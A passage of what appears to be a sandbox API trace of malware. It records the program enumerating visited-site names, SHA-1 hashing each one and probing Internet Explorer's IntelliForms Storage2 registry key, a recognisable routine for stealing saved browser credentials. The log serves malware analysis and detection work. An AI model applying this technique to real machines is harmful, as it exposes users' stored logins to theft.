returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40D6" [0096.799] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40D6", lpString2="86" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40D686") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40D686" [0096.799] LocalFree (hMem=0x28e7670) returned 0x0 [0096.799] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.799] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.799] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.799] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.799] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.799] LocalFree (hMem=0x28e7910) returned 0x0 [0096.799] RegEnumValueW (in: hKey=0x368, dwIndex=0xe, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url36", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.799] StrStrIW (lpFirst="booking.com", lpSrch="?") returned 0x0 [0096.799] StrStrIW (lpFirst="booking.com", lpSrch="http://") returned 0x0 [0096.799] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.800] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.800] lstrlenW (lpString="booking.com") returned 11 [0096.800] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x18, dwFlags=0x0) returned 1 [0096.800] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.800] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2F") returned 2 [0096.800] lstrlenW (lpString="") returned 0 [0096.800] lstrlenW (lpString="2F") returned 2 [0096.800] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.800] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.800] lstrcatW (in: lpString1="", lpString2="2F" | out: lpString1="2F") returned="2F" [0096.800] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5F") returned 2 [0096.800] lstrlenW (lpString="2F") returned 2 [0096.800] lstrlenW (lpString="5F") returned 2 [0096.800] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.800] lstrcpyW (in: lpString1=0x28c81c0, lpString2="2F" | out: lpString1="2F") returned="2F" [0096.800] lstrcatW (in: lpString1="2F", lpString2="5F" | out: lpString1="2F5F") returned="2F5F" [0096.800] LocalFree (hMem=0x7224580) returned 0x0 [0096.800] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3A") returned 2 [0096.800] lstrlenW (lpString="2F5F") returned 4 [0096.800] lstrlenW (lpString="3A") returned 2 [0096.800] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8d00 [0096.800] lstrcpyW (in: lpString1=0x28c8d00, lpString2="2F5F" | out: lpString1="2F5F") returned="2F5F" [0096.800] lstrcatW (in: lpString1="2F5F", lpString2="3A" | out: lpString1="2F5F3A") returned="2F5F3A" [0096.800] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.801] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0096.801] lstrlenW (lpString="2F5F3A") returned 6 [0096.801] lstrlenW (lpString="6C") returned 2 [0096.801] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.801] lstrcpyW (in: lpString1=0x28c81c0, lpString2="2F5F3A" | out: lpString1="2F5F3A") returned="2F5F3A" [0096.801] lstrcatW (in: lpString1="2F5F3A", lpString2="6C" | out: lpString1="2F5F3A6C") returned="2F5F3A6C" [0096.801] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.801] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0096.801] lstrlenW (lpString="2F5F3A6C") returned 8 [0096.801] lstrlenW (lpString="34") returned 2 [0096.801] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8d00 [0096.801] lstrcpyW (in: lpString1=0x28c8d00, lpString2="2F5F3A6C" | out: lpString1="2F5F3A6C") returned="2F5F3A6C" [0096.801] lstrcatW (in: lpString1="2F5F3A6C", lpString2="34" | out: lpString1="2F5F3A6C34") returned="2F5F3A6C34" [0096.801] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.801] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A9") returned 2 [0096.801] lstrlenW (lpString="2F5F3A6C34") returned 10 [0096.801] lstrlenW (lpString="A9") returned 2 [0096.801] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.801] lstrcpyW (in: lpString1=0x71cf460, lpString2="2F5F3A6C34" | out: lpString1="2F5F3A6C34") returned="2F5F3A6C34" [0096.801] lstrcatW (in: lpString1="2F5F3A6C34", lpString2="A9" | out: lpString1="2F5F3A6C34A9") returned="2F5F3A6C34A9" [0096.801] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.801] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D8") returned 2 [0096.801] lstrlenW (lpString="2F5F3A6C34A9") returned 12 [0096.801] lstrlenW (lpString="D8") returned 2 [0096.801] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.801] lstrcpyW (in: lpString1=0x71cfb40, lpString2="2F5F3A6C34A9" | out: lpString1="2F5F3A6C34A9") returned="2F5F3A6C34A9" [0096.801] lstrcatW (in: lpString1="2F5F3A6C34A9", lpString2="D8" | out: lpString1="2F5F3A6C34A9D8") returned="2F5F3A6C34A9D8" [0096.801] LocalFree (hMem=0x71cf460) returned 0x0 [0096.801] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="99") returned 2 [0096.801] lstrlenW (lpString="2F5F3A6C34A9D8") returned 14 [0096.801] lstrlenW (lpString="99") returned 2 [0096.801] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.801] lstrcpyW (in: lpString1=0x71cf460, lpString2="2F5F3A6C34A9D8" | out: lpString1="2F5F3A6C34A9D8") returned="2F5F3A6C34A9D8" [0096.801] lstrcatW (in: lpString1="2F5F3A6C34A9D8", lpString2="99" | out: lpString1="2F5F3A6C34A9D899") returned="2F5F3A6C34A9D899" [0096.801] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.801] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A1") returned 2 [0096.801] lstrlenW (lpString="2F5F3A6C34A9D899") returned 16 [0096.802] lstrlenW (lpString="A1") returned 2 [0096.802] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.802] lstrcpyW (in: lpString1=0x71cfb40, lpString2="2F5F3A6C34A9D899" | out: lpString1="2F5F3A6C34A9D899") returned="2F5F3A6C34A9D899" [0096.802] lstrcatW (in: lpString1="2F5F3A6C34A9D899", lpString2="A1" | out: lpString1="2F5F3A6C34A9D899A1") returned="2F5F3A6C34A9D899A1" [0096.802] LocalFree (hMem=0x71cf460) returned 0x0 [0096.802] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="86") returned 2 [0096.802] lstrlenW (lpString="2F5F3A6C34A9D899A1") returned 18 [0096.802] lstrlenW (lpString="86") returned 2 [0096.802] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.802] lstrcpyW (in: lpString1=0x7290b70, lpString2="2F5F3A6C34A9D899A1" | out: lpString1="2F5F3A6C34A9D899A1") returned="2F5F3A6C34A9D899A1" [0096.802] lstrcatW (in: lpString1="2F5F3A6C34A9D899A1", lpString2="86" | out: lpString1="2F5F3A6C34A9D899A186") returned="2F5F3A6C34A9D899A186" [0096.802] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.802] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C4") returned 2 [0096.802] lstrlenW (lpString="2F5F3A6C34A9D899A186") returned 20 [0096.802] lstrlenW (lpString="C4") returned 2 [0096.802] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.802] lstrcpyW (in: lpString1=0x72912f0, lpString2="2F5F3A6C34A9D899A186" | out: lpString1="2F5F3A6C34A9D899A186") returned="2F5F3A6C34A9D899A186" [0096.802] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186", lpString2="C4" | out: lpString1="2F5F3A6C34A9D899A186C4") returned="2F5F3A6C34A9D899A186C4" [0096.802] LocalFree (hMem=0x7290b70) returned 0x0 [0096.802] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DD") returned 2 [0096.802] lstrlenW (lpString="2F5F3A6C34A9D899A186C4") returned 22 [0096.802] lstrlenW (lpString="DD") returned 2 [0096.802] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.802] lstrcpyW (in: lpString1=0x7290b70, lpString2="2F5F3A6C34A9D899A186C4" | out: lpString1="2F5F3A6C34A9D899A186C4") returned="2F5F3A6C34A9D899A186C4" [0096.802] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4", lpString2="DD" | out: lpString1="2F5F3A6C34A9D899A186C4DD") returned="2F5F3A6C34A9D899A186C4DD" [0096.802] LocalFree (hMem=0x72912f0) returned 0x0 [0096.802] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3A") returned 2 [0096.802] lstrlenW (lpString="2F5F3A6C34A9D899A186C4DD") returned 24 [0096.802] lstrlenW (lpString="3A") returned 2 [0096.802] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.802] lstrcpyW (in: lpString1=0x72912f0, lpString2="2F5F3A6C34A9D899A186C4DD" | out: lpString1="2F5F3A6C34A9D899A186C4DD") returned="2F5F3A6C34A9D899A186C4DD" [0096.802] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4DD", lpString2="3A" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A") returned="2F5F3A6C34A9D899A186C4DD3A" [0096.802] LocalFree (hMem=0x7290b70) returned 0x0 [0096.802] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0096.802] lstrlenW (lpString="2F5F3A6C34A9D899A186C4DD3A") returned 26 [0096.802] lstrlenW (lpString="85") returned 2 [0096.802] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.803] lstrcpyW (in: lpString1=0x2815a80, lpString2="2F5F3A6C34A9D899A186C4DD3A" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A") returned="2F5F3A6C34A9D899A186C4DD3A" [0096.803] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4DD3A", lpString2="85" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A85") returned="2F5F3A6C34A9D899A186C4DD3A85" [0096.803] LocalFree (hMem=0x72912f0) returned 0x0 [0096.803] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5A") returned 2 [0096.803] lstrlenW (lpString="2F5F3A6C34A9D899A186C4DD3A85") returned 28 [0096.803] lstrlenW (lpString="5A") returned 2 [0096.803] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.803] lstrcpyW (in: lpString1=0x2815670, lpString2="2F5F3A6C34A9D899A186C4DD3A85" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A85") returned="2F5F3A6C34A9D899A186C4DD3A85" [0096.803] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4DD3A85", lpString2="5A" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A") returned="2F5F3A6C34A9D899A186C4DD3A855A" [0096.803] LocalFree (hMem=0x2815a80) returned 0x0 [0096.803] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="09") returned 2 [0096.803] lstrlenW (lpString="2F5F3A6C34A9D899A186C4DD3A855A") returned 30 [0096.803] lstrlenW (lpString="09") returned 2 [0096.803] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.803] lstrcpyW (in: lpString1=0x2815a80, lpString2="2F5F3A6C34A9D899A186C4DD3A855A" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A") returned="2F5F3A6C34A9D899A186C4DD3A855A" [0096.803] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4DD3A855A", lpString2="09" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A09") returned="2F5F3A6C34A9D899A186C4DD3A855A09" [0096.803] LocalFree (hMem=0x2815670) returned 0x0 [0096.803] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="53") returned 2 [0096.803] lstrlenW (lpString="2F5F3A6C34A9D899A186C4DD3A855A09") returned 32 [0096.803] lstrlenW (lpString="53") returned 2 [0096.803] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.803] lstrcpyW (in: lpString1=0x2815670, lpString2="2F5F3A6C34A9D899A186C4DD3A855A09" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A09") returned="2F5F3A6C34A9D899A186C4DD3A855A09" [0096.803] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4DD3A855A09", lpString2="53" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953") returned="2F5F3A6C34A9D899A186C4DD3A855A0953" [0096.803] LocalFree (hMem=0x2815a80) returned 0x0 [0096.803] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="28") returned 2 [0096.803] lstrlenW (lpString="2F5F3A6C34A9D899A186C4DD3A855A0953") returned 34 [0096.803] lstrlenW (lpString="28") returned 2 [0096.803] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.803] lstrcpyW (in: lpString1=0x28e7910, lpString2="2F5F3A6C34A9D899A186C4DD3A855A0953" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953") returned="2F5F3A6C34A9D899A186C4DD3A855A0953" [0096.803] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953", lpString2="28" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A095328") returned="2F5F3A6C34A9D899A186C4DD3A855A095328" [0096.803] LocalFree (hMem=0x2815670) returned 0x0 [0096.803] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2A") returned 2 [0096.803] lstrlenW (lpString="2F5F3A6C34A9D899A186C4DD3A855A095328") returned 36 [0096.803] lstrlenW (lpString="2A") returned 2 [0096.803] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.803] lstrcpyW (in: lpString1=0x28e7670, lpString2="2F5F3A6C34A9D899A186C4DD3A855A095328" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A095328") returned="2F5F3A6C34A9D899A186C4DD3A855A095328" [0096.804] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4DD3A855A095328", lpString2="2A" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953282A") returned="2F5F3A6C34A9D899A186C4DD3A855A0953282A" [0096.804] LocalFree (hMem=0x28e7910) returned 0x0 [0096.804] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1C") returned 2 [0096.804] lstrlenW (lpString="2F5F3A6C34A9D899A186C4DD3A855A0953282A") returned 38 [0096.804] lstrlenW (lpString="1C") returned 2 [0096.804] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.804] lstrcpyW (in: lpString1=0x28e7910, lpString2="2F5F3A6C34A9D899A186C4DD3A855A0953282A" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953282A") returned="2F5F3A6C34A9D899A186C4DD3A855A0953282A" [0096.804] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953282A", lpString2="1C" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953282A1C") returned="2F5F3A6C34A9D899A186C4DD3A855A0953282A1C" [0096.804] LocalFree (hMem=0x28e7670) returned 0x0 [0096.804] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2D") returned 2 [0096.804] lstrlenW (lpString="2F5F3A6C34A9D899A186C4DD3A855A0953282A1C") returned 40 [0096.804] lstrlenW (lpString="2D") returned 2 [0096.804] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.804] lstrcpyW (in: lpString1=0x28e7670, lpString2="2F5F3A6C34A9D899A186C4DD3A855A0953282A1C" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953282A1C") returned="2F5F3A6C34A9D899A186C4DD3A855A0953282A1C" [0096.804] lstrcatW (in: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953282A1C", lpString2="2D" | out: lpString1="2F5F3A6C34A9D899A186C4DD3A855A0953282A1C2D") returned="2F5F3A6C34A9D899A186C4DD3A855A0953282A1C2D" [0096.804] LocalFree (hMem=0x28e7910) returned 0x0 [0096.804] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.804] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.804] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.804] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.804] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.804] LocalFree (hMem=0x28e7670) returned 0x0 [0096.804] RegEnumValueW (in: hKey=0x368, dwIndex=0xf, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url35", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.804] StrStrIW (lpFirst="bongacams.com", lpSrch="?") returned 0x0 [0096.804] StrStrIW (lpFirst="bongacams.com", lpSrch="http://") returned 0x0 [0096.804] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.805] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.805] lstrlenW (lpString="bongacams.com") returned 13 [0096.805] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0096.805] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.805] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="66") returned 2 [0096.805] lstrlenW (lpString="") returned 0 [0096.805] lstrlenW (lpString="66") returned 2 [0096.805] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.805] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.805] lstrcatW (in: lpString1="", lpString2="66" | out: lpString1="66") returned="66" [0096.805] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6A") returned 2 [0096.805] lstrlenW (lpString="66") returned 2 [0096.805] lstrlenW (lpString="6A") returned 2 [0096.805] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8d00 [0096.805] lstrcpyW (in: lpString1=0x28c8d00, lpString2="66" | out: lpString1="66") returned="66" [0096.805] lstrcatW (in: lpString1="66", lpString2="6A" | out: lpString1="666A") returned="666A" [0096.805] LocalFree (hMem=0x7224580) returned 0x0 [0096.805] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E6") returned 2 [0096.805] lstrlenW (lpString="666A") returned 4 [0096.805] lstrlenW (lpString="E6") returned 2 [0096.805] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.805] lstrcpyW (in: lpString1=0x28c81c0, lpString2="666A" | out: lpString1="666A") returned="666A" [0096.805] lstrcatW (in: lpString1="666A", lpString2="E6" | out: lpString1="666AE6") returned="666AE6" [0096.805] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.806] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="04") returned 2 [0096.806] lstrlenW (lpString="666AE6") returned 6 [0096.806] lstrlenW (lpString="04") returned 2 [0096.806] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8d00 [0096.806] lstrcpyW (in: lpString1=0x28c8d00, lpString2="666AE6" | out: lpString1="666AE6") returned="666AE6" [0096.806] lstrcatW (in: lpString1="666AE6", lpString2="04" | out: lpString1="666AE604") returned="666AE604" [0096.806] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.806] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="11") returned 2 [0096.806] lstrlenW (lpString="666AE604") returned 8 [0096.806] lstrlenW (lpString="11") returned 2 [0096.806] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.806] lstrcpyW (in: lpString1=0x28c81c0, lpString2="666AE604" | out: lpString1="666AE604") returned="666AE604" [0096.806] lstrcatW (in: lpString1="666AE604", lpString2="11" | out: lpString1="666AE60411") returned="666AE60411" [0096.806] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.806] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4C") returned 2 [0096.806] lstrlenW (lpString="666AE60411") returned 10 [0096.806] lstrlenW (lpString="4C") returned 2 [0096.806] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.806] lstrcpyW (in: lpString1=0x71cfb40, lpString2="666AE60411" | out: lpString1="666AE60411") returned="666AE60411" [0096.806] lstrcatW (in: lpString1="666AE60411", lpString2="4C" | out: lpString1="666AE604114C") returned="666AE604114C" [0096.806] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.806] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4E") returned 2 [0096.806] lstrlenW (lpString="666AE604114C") returned 12 [0096.806] lstrlenW (lpString="4E") returned 2 [0096.806] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.806] lstrcpyW (in: lpString1=0x71cf460, lpString2="666AE604114C" | out: lpString1="666AE604114C") returned="666AE604114C" [0096.806] lstrcatW (in: lpString1="666AE604114C", lpString2="4E" | out: lpString1="666AE604114C4E") returned="666AE604114C4E" [0096.806] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.806] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8D") returned 2 [0096.806] lstrlenW (lpString="666AE604114C4E") returned 14 [0096.806] lstrlenW (lpString="8D") returned 2 [0096.806] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.806] lstrcpyW (in: lpString1=0x71cfb40, lpString2="666AE604114C4E" | out: lpString1="666AE604114C4E") returned="666AE604114C4E" [0096.806] lstrcatW (in: lpString1="666AE604114C4E", lpString2="8D" | out: lpString1="666AE604114C4E8D") returned="666AE604114C4E8D" [0096.806] LocalFree (hMem=0x71cf460) returned 0x0 [0096.806] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="03") returned 2 [0096.806] lstrlenW (lpString="666AE604114C4E8D") returned 16 [0096.807] lstrlenW (lpString="03") returned 2 [0096.807] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.807] lstrcpyW (in: lpString1=0x71cf460, lpString2="666AE604114C4E8D" | out: lpString1="666AE604114C4E8D") returned="666AE604114C4E8D" [0096.807] lstrcatW (in: lpString1="666AE604114C4E8D", lpString2="03" | out: lpString1="666AE604114C4E8D03") returned="666AE604114C4E8D03" [0096.807] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.807] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="46") returned 2 [0096.807] lstrlenW (lpString="666AE604114C4E8D03") returned 18 [0096.807] lstrlenW (lpString="46") returned 2 [0096.807] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.807] lstrcpyW (in: lpString1=0x72912f0, lpString2="666AE604114C4E8D03" | out: lpString1="666AE604114C4E8D03") returned="666AE604114C4E8D03" [0096.807] lstrcatW (in: lpString1="666AE604114C4E8D03", lpString2="46" | out: lpString1="666AE604114C4E8D0346") returned="666AE604114C4E8D0346" [0096.807] LocalFree (hMem=0x71cf460) returned 0x0 [0096.807] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6A") returned 2 [0096.807] lstrlenW (lpString="666AE604114C4E8D0346") returned 20 [0096.807] lstrlenW (lpString="6A") returned 2 [0096.807] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.807] lstrcpyW (in: lpString1=0x7290b70, lpString2="666AE604114C4E8D0346" | out: lpString1="666AE604114C4E8D0346") returned="666AE604114C4E8D0346" [0096.807] lstrcatW (in: lpString1="666AE604114C4E8D0346", lpString2="6A" | out: lpString1="666AE604114C4E8D03466A") returned="666AE604114C4E8D03466A" [0096.807] LocalFree (hMem=0x72912f0) returned 0x0 [0096.807] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0096.807] lstrlenW (lpString="666AE604114C4E8D03466A") returned 22 [0096.807] lstrlenW (lpString="74") returned 2 [0096.807] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.807] lstrcpyW (in: lpString1=0x72912f0, lpString2="666AE604114C4E8D03466A" | out: lpString1="666AE604114C4E8D03466A") returned="666AE604114C4E8D03466A" [0096.807] lstrcatW (in: lpString1="666AE604114C4E8D03466A", lpString2="74" | out: lpString1="666AE604114C4E8D03466A74") returned="666AE604114C4E8D03466A74" [0096.807] LocalFree (hMem=0x7290b70) returned 0x0 [0096.807] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", 